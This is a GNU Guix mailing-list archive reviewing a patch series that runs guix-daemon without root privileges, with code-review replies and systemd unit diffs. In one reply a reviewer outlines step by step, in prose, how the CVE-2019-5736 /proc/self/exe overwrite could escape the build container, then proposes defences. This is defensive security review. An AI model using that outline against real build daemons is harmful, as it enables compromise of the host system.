> On a slightly-related note, while investigating what we currently do for
> the other file-descriptor-bearing objects in DerivationGoal, I noticed
> that we appear to never explicitly close builderOut.readSide in the
> child (we do implicitly close it eventually with closeMostFDs).
> Probably not a problem in practice, since the parent never writes to the
> pipe, and if the parent process gets suddenly wiped out, the possibility
> of the child blocking indefinitely is probably the least of our worries,
> but maybe it would be good to close it in commonChildInit.

Agreed.

>> +    if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
>> +       || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]=
; then
>> +	extra_options=3D""
>> +    else
>> +	extra_options=3D"--disable-chroot"

[...]

> I think this test for /proc/sys/kernel/unprivileged_userns_clone will
> only work on linux, no?  On Hurd it will see that the file doesn't exist
> and assume that means it shouldn't pass --disable-chroot.

Oops yes.

> Maybe also require that something like /proc/self/ns/user exists?  I see
> in (gnu build linux-container) this is what we do for
> 'user-namespace-supported?'.  Perhaps
> 'unprivileged-user-namespace-supported?' should also be updated to only
> return true if user namespaces are supported at all?  Otherwise many of
> the test skips in this patch are going to do the opposite of what they
> should on Hurd.

OK.

> Also, perhaps the "Launch the daemon without chroot support because is
> ..."  comment should be updated (also s/is/it/ there) or removed.

OK.

>> +(unless (unprivileged-user-namespace-supported?)
>> +  (test-skip 1))
>> +(test-assert "build root cannot be made world-readable"

[...]

> It may be good to forego actually creating the setuid guile here, since
> it's not part of what's actually being tested, just a looming threat to
> motivate what's being tested.  In the event that this test fails
> someday, let's be kind to our testers and leave them with only a
> world-readable setuid empty file or file containing a frowny face or
> something.
>
> ... actually, on closer inspection, won't this test never fail?  The
> gexp doesn't actually create #$output, so the build will always fail,
> and the store-protocol-error will always be signaled, no?

Oops!  Done.

> (in patch 12/14, in etc/guix-daemon.service.in)
>
> s/cran create/can create/

Done.

> Also, I'm curious how this interacts with the changes to the installer
> script.  What happens if the installer detects that the rootless daemon
> isn't supported, but the guix that it's installing only has this version
> of guix-daemon.service?  I haven't checked, but if the answer is "the
> service is broken", perhaps we should have two variants of the service
> file, and sys_enable_guix_daemon decides which one to symlink
> /etc/systemd/system/guix-daemon.service to?

The assumption is indeed that unprivileged user namespaces are
supported.

I have reasons to believe that this assumption holds these days, which
is why I didn=E2=80=99t bother with the fallback you suggest.

>> +can_install_unprivileged_daemon()
>> +{ # Return true if we can install guix-daemon running without privilege=
s.
>> +    [ "$INIT_SYS" =3D systemd ] && \
>> +	grep -q "User=3Dguix-daemon" \
>> +	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service=
 \
>> +	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
>> +		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
>> +}
>
> (in patch 13/14, in etc/guix-install.sh)
>
> I vaguely recall hearing that systemd only supports linux, so it might
> not be strictly necessary to check whether user namespaces are supported
> at all here like it was in test-env.  If we get support for the rootless
> daemon working for the other init systems a check like that may be
> necessary, though.

Right, systemd is Linux-only, but you=E2=80=99re right that this should be
changed like ./test-env for other systems.

> It does indeed look like it's going to be necessary to make some changes
> to make the script able to support installing a newer guix to a
> systemd-using system that doesn't support unprivileged user namespaces.

A system running systemd definitely supports unprivileged user
namespaces; it is still possible to disable it manually, but I=E2=80=99m wi=
lling
to assume that it=E2=80=99s uncommon.

I=E2=80=99m sending v6 with these changes.

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 18 Mar 2025 03:08:17 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 23:08:17 2025
Received: from localhost ([127.0.0.1]:34204 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuNJQ-0004kU-EM
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 23:08:17 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:37160)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tuNJH-0004ih-F3
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 23:08:13 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=ohvYRyuiaLxDWoQ9ZvhhLkW3bu6oFfY6dqFjst5bmn8=; b=p4wmTyxsDbJays1TuBNvt6Ad37
 VrgRc9t6nuj9svYFFwhC1h2nBv6mzwnfLLb9e2deVvqsF4E66fu1WsNB9bCA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=ohvYRyuiaLxDWoQ9ZvhhLkW3bu6oFfY6dqFjst5bmn8=; b=WZWjOB3l2DVVSA0SQH1gfFjuqr
 wHBJBhz5aFUuOt265+q4AovWCb3ebGVVdPQ+b1V/GxmzYexf1MQ5cZ0+xen2daKXk7SvCxJa0HKN+
 8yFVtK2atLFdAJxjtoJq6Y+rQwkBMrfWmnHEj9Ffv25ojDCoyHax8Suz1JzvgiR7goEQtmuFVxh54
 Bbz2DSk1v1+3L+nOxi5SU+gXi2eAVrWrmdOMsUHtCWAsrJD7DlbJLWsEUBFCfodJJkQaIFvpddBUv
 GPuuqIx6vNavTppWNE1sJfILa0I22tSm8wmybUqoKupM/LhHfgk6aA3mFirUK9q+XRSZdlGk3RJN8
 n08iObqtgb0hA/98pO5V680Aj2ZpBpaANhXYhMCoyNs9r0O/EjN3tubBkU3/razxPo7EtDTXbCkuC
 fmgKR0KbQmhIRy6LTUpN1FCVxJO0cWhLTY/SrMnJARol+us7OwNNT2PEeGsx8pMNSNYSPP2RM8y3I
 s1Wblvs0BQ3aU7QSbyL5BvZrURcMfKDMCwu48WGPQztsRl/+w1O77jJLkkOBaDerFfhKUA5YHvfXF
 DazvQci5CDp5eTjKtlmrC/gGI9RxN6UpZfosGrcnPyEU9U49Zpj9fALuKOEUdARxQspHUMl1wiwxu
 VtQZRBXsXChFfYQEETeKWBQ5BhHnpnJPLMyK1mejI=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tuNJC-000000002dP-3i85; Mon, 17 Mar 2025 22:08:03 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Mon, 17 Mar 2025 18:02:43 +0100")
References: <cover.1742230219.git.ludo@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
Date: Mon, 17 Mar 2025 22:07:45 -0500
Message-ID: <875xk7594u.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > @@ -2013,23 +2057,36
    @@ void DerivationGoal::runChild() > > _writeToStderr = 0; > > + if (readiness.writeSide
    > 0) readiness.writeSide.close(); > + > + if (readiness.readSide > 0) { >
    + /* Wait for [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > @@ -2013,23 +2057,36
    @@ void DerivationGoal::runChild() > > _writeToStderr = 0; > > + if (readiness.writeSide
    > 0) readiness.writeSide.close(); > + > + if (readiness.readSide > 0) { >
    + /* Wait for [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > @@ -2013,23 +2057,36
    @@ void DerivationGoal::runChild() > > _writeToStderr = 0; > > + if (readiness.writeSide
    > 0) readiness.writeSide.close(); > + > + if (readiness.readSide > 0) { >
    + /* Wait for [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> @@ -2013,23 +2057,36 @@ void DerivationGoal::runChild()
>=20=20
>          _writeToStderr =3D 0;
>=20=20
> +	if (readiness.writeSide > 0) readiness.writeSide.close();
> +
> +	if (readiness.readSide > 0) {
> +	     /* Wait for the parent process to initialize the UID/GID mapping
> +		of our user namespace.  */
> +	     char str[20] =3D { '\0' };
> +	     readFull(readiness.readSide, (unsigned char*)str, 3);
> +	     if (strcmp(str, "go\n") !=3D 0)
> +		  throw Error("failed to initialize process in unprivileged user names=
pace");
> +	}
> +
>          restoreAffinity();

(in patch 7/16, in nix/libstore/build.cc)

Strictly speaking we should check whether the fds are >=3D 0, not > 0,
since 0 is technically a valid file descriptor, and we use -1 to
indicate the absence of a file descriptor.

Also, readiness.readSide isn't explicitly closed in the child after
we're done with it.

> +
> +	# The unprivileged daemon cannot create the log directory by itself.
> +	mkdir /var/log/guix
> +	chown guix-daemon:guix-daemon /var/log/guix
> +	chmod 755 /var/log/guix

(in patch 15/16, in etc/guix-install.sh)

Should this be 'mkdir -p' or some other conditional creation?  If I
understand correctly this will fail when overwriting an existing install
using GUIX_ALLOW_OVERWRITE.

Concerning guix-install.sh, to be clear, is the intent to specifically
not support installing the rootful daemon on systemd systems?

For my two cents, I do think that it's still a tradeoff - not just
because of the reliance on different kernel mechanisms for security, but
also because the rootless daemon currently causes visible changes to the
build environment (EROFS on /, and nothing owned by root, for example).
Which one should we consider the "canonical" build environment going
forward?


I decided to do some searching for container escapes / vulnerabilities
online, just to be extra careful, and found one that relies on the
container entry point being run as the user that owns the program that
execs the container entry point: CVE-2019-5736.  It exploits the fact
that /proc/self/exe, despite being displayed like a symlink in the
output of ls, does not actually act like a symlink, and indeed acts more
like a hardlink that readlink happens to have some associated data for.

The demo, modified for guix circumstances, would go something like this:

1. A derivation is created whose builder is /proc/self/exe, and whose
   LD_PRELOAD environment variable points into a malicious store item
   for one of its shared libraries - for example, libc.
2. The daemon reads this in, and, to my knowledge, does no verification
   of the builder string.  Note that this aspect isn't actually
   necessary, as the builder could also be a symlink to /proc/self/exe
   from the store.
3. The daemon sets up the build environment, and execs /proc/self/exe.
4. An attacker-controlled load-time function gets run.
5. It opens /proc/self/exe, initially read-only because it can't be
   opened writable while a process is executing it.  It then execs
   another attacker-controlled process, which inherits the open file
   descriptor and subsequently opens it via /proc/self/fd/<fd>, this
   time read-write (it can do this because it owns the file, and even if
   it's not writable, a quick fchmod will fix that, and the filesystem
   it was originally opened from isn't read-only, because guix-daemon
   starts before gnu-store.mount bind-mounts /gnu/store to itself prior
   to making it read-only).  It then overwrites the resulting file
   descriptor with whatever contents it wants.
6. The next time guix-daemon is started outside the container, it runs
   attacker-controlled code.


There are several points at which that particular attack could be
stopped, and I'd like to try to stop it at as many of them as possible.
A good start would be canonicalizing the builder prior to executing it
and then checking to make sure it is in the store.  A more general
solution could look like writing out and then executing a tiny binary,
something like /tmp/runbuilder, that does nothing but unlink itself and
then exec the actual program.

Here's a writeup of the CVE in question:
https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve=
-2019-5736/

Aside from all that, it looks good to me.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfY44IXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJyySggAiIt4eVH0B5wCuOlT0Z8/82fi
cwM/RG2aItSkznzF3Y6Twl4MUdymMopgoexg0DsbPks11rXFFvYbIRDiTCXm4/5C
cvFJKoxqY0HqIeZ02hm4E1XwIK6gxGl5rwXeKW2ZcZ+kMvk7eAlOORK64BGslWEA
hjhyTsn7Cypr7laBTUqCQY44l/um9YcHVbyUkkF8b8ay7i+FKXQ9po0KZljMO8bN
yioyZBUd9KuOVXE0bsC1hac9tc7f975xms1T1FUZdB8b9N7aJ+lONRoeBYGSimqA
H7rwOJLZ+fG2F9cuG6ZsBrnPG7HdKV2je5su7a4ASBORclmJlGWXhWdGC6Z2gQ==
=1zV3
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:06:19 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:06:19 2025
Received: from localhost ([127.0.0.1]:60713 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDup-00033Y-BI
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:06:19 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58512)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtb-0002kH-Bk
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:00 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtU-0005Rh-L1; Mon, 17 Mar 2025 13:04:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Ngm8ANKAcfFhwlcmZn793WD7YKtaQddq8o8d6i84570=; b=QCMcrqlyjO/46sY3a6ef
 OOxEQC6uFme+ZgxHpDVsrdk7bqM0L9IJZ/eCTOmV7aqv+dyndEY/CKWKEgIARwIg7qyP+vTlBjCIM
 mLDQsP5r7f5fwCeEK6Ar+Vtpzp+kK1J/604VRD5v/t4ynyv7sWd+FSjuSl08Cu7MH6APfmtF5nFih
 q/0zKmHfWElmky4rmpvCZ7nhmwBRh46GlqYRw7+Wn0UFvqqsEkRVYeYIk5MVNHRas38BhDCNcrK3u
 rZ384f5Nuc9gj2QUz/4rb0/zx7I078gTt3IamCdWiwomeBUndlQLQMQGsrw3yxRd8rqCKlumiWFj2
 8yovB3r1/KZp4w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 14/16] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Mon, 17 Mar 2025 18:02:57 +0100
Message-ID: <f2236d569fa75147015a4f5a16648c2f826412cc.1742230220.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(Environment): Add ‘GUIX_STATE_DIRECTORY’.
(Before, User, AmbientCapabilities, PrivateMounts, BindPaths): New fields.
* etc/gnu-store.mount.in (Before): Remove.
(WantedBy): Change to ‘multi-user.target’.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/gnu-store.mount.in     |  3 +--
 etc/guix-daemon.service.in | 22 ++++++++++++++++++++--
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/etc/gnu-store.mount.in b/etc/gnu-store.mount.in
index c94f2db72b..f9918c9e52 100644
--- a/etc/gnu-store.mount.in
+++ b/etc/gnu-store.mount.in
@@ -2,10 +2,9 @@
 Description=Read-only @storedir@ for GNU Guix
 DefaultDependencies=no
 ConditionPathExists=@storedir@
-Before=guix-daemon.service
 
 [Install]
-WantedBy=guix-daemon.service
+WantedBy=multi-user.target
 
 [Mount]
 What=@storedir@
diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1..6a5ef97f9b 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -5,11 +5,29 @@
 [Unit]
 Description=Build daemon for GNU Guix
 
+# Start before 'gnu-store.mount' to get a writable view of the store.
+Before=gnu-store.mount
+
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
-Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+Environment='GUIX_STATE_DIRECTORY=@localstatedir@/guix' 'GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Bind-mount the store read-write in a private namespace, to counter the
+# effect of 'gnu-store.mount'.
+PrivateMounts=true
+BindPaths=@storedir@
+
+# Provide the CAP_CHOWN capability so that guix-daemon can create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:06:06 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:06:05 2025
Received: from localhost ([127.0.0.1]:60708 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDuZ-00031H-Tn
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:06:04 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58526)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtb-0002kK-HY
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:00 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtV-0005SA-QG; Mon, 17 Mar 2025 13:04:53 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=AJlK2QAuKjco1IVqQ+QWTule1xdp+HyiHot4+iuRsE8=; b=HkrWaQ3bfhMzBjK1kxMl
 Rj+Z5nJ4wiT1jwhGqB5ar9NyXB4rSXdZHLALFsZUCTynGbf5J+A2gp8BbN8agQ/TnLW7uormsbAIK
 bGkTufH40ZrccYlMCjo7Nk6xD98JRj7118EzkXb7lU3gqxeUx0C1UtlI8l8gqnuvNaimusurB6zVB
 9zXQXe+QYsh0QbbQ9j65Fi3WL26u1L4bl4uSf+4A9dOY0UdKc+wt+nNH9qVLpfoa9O6XLQw4rN9Ff
 dRddj2mFbVJcQCEKdeknoB/CTz+gT3SzZbr54552kJpWmE4pD4T/g+/llII7yW5F0rlnhLISyDNK0
 Pdi3GuocIbCeYw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 16/16] DRAFT gnu: guix: Update to 07c5b1b
Date: Mon, 17 Mar 2025 18:02:59 +0100
Message-ID: <19b479fe168b1afdc6dbc46f8c363d797cfb7178.1742230220.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

DRAFT: Temporary commit.

* gnu/packages/package-management.scm (guix): Update to 07c5b1b.

Change-Id: Id7c3275da249075cdb23d7f4f63fd1bcf7dd933b
---
 gnu/packages/package-management.scm | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/gnu/packages/package-management.scm b/gnu/packages/package-management.scm
index a4a96878f7..11cfd10197 100644
--- a/gnu/packages/package-management.scm
+++ b/gnu/packages/package-management.scm
@@ -179,8 +179,8 @@ (define-public guix
   ;; Note: the 'update-guix-package.scm' script expects this definition to
   ;; start precisely like this.
   (let ((version "1.4.0")
-        (commit "5058b40aba825ab6e7b9e518dd1147d1e35fd7de")
-        (revision 34))
+        (commit "07c5b1b1ef05c002ad7092976e67eceb45f0c5da")
+        (revision 35))
     (package
       (name "guix")
 
@@ -196,7 +196,7 @@ (define-public guix
                       (commit commit)))
                 (sha256
                  (base32
-                  "04vk4lslcd6h22yj5pxvb1pdyyxd8421gjfyvyb1bl3xn7c77246"))
+                  "0hl692xzb8jylc8rwwvmgbdv08dnx35dx116vsw1s4c0ph8fr50a"))
                 (file-name (string-append "guix-" version "-checkout"))))
       (build-system gnu-build-system)
       (arguments
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:06:00 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:05:59 2025
Received: from localhost ([127.0.0.1]:60706 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDuW-00030e-5I
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:59 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:58502)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtZ-0002ju-EE
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:05:01 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtT-0005Qw-EM; Mon, 17 Mar 2025 13:04:51 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=46sXtSC4BF2MFB1vCWkw8ErjEqxl/gPSRof2zzVtuu0=; b=c7fEqH3BwJMEHv6TrpVs
 42Em7eglXrTZBEfxsy01GEbvbfIQ25eWDI15UyXR5ASBTgf4f1vwITchdkaiGH/7BAqCZTgCkyAEl
 CegHIUr9FH/OSMlZ3TAVKlAuIxpRkG57IxY7w1GkdhC1Ne4M3m8c8anuBQveLanYg3Ino1ejpUCaT
 SXAhTq1cpfQwVK2bMN7iSYVzgiGdJTcM0EOgPgYG0WfDOaSubh3gBJWNrKubrWLNhNEvqk8UBFks+
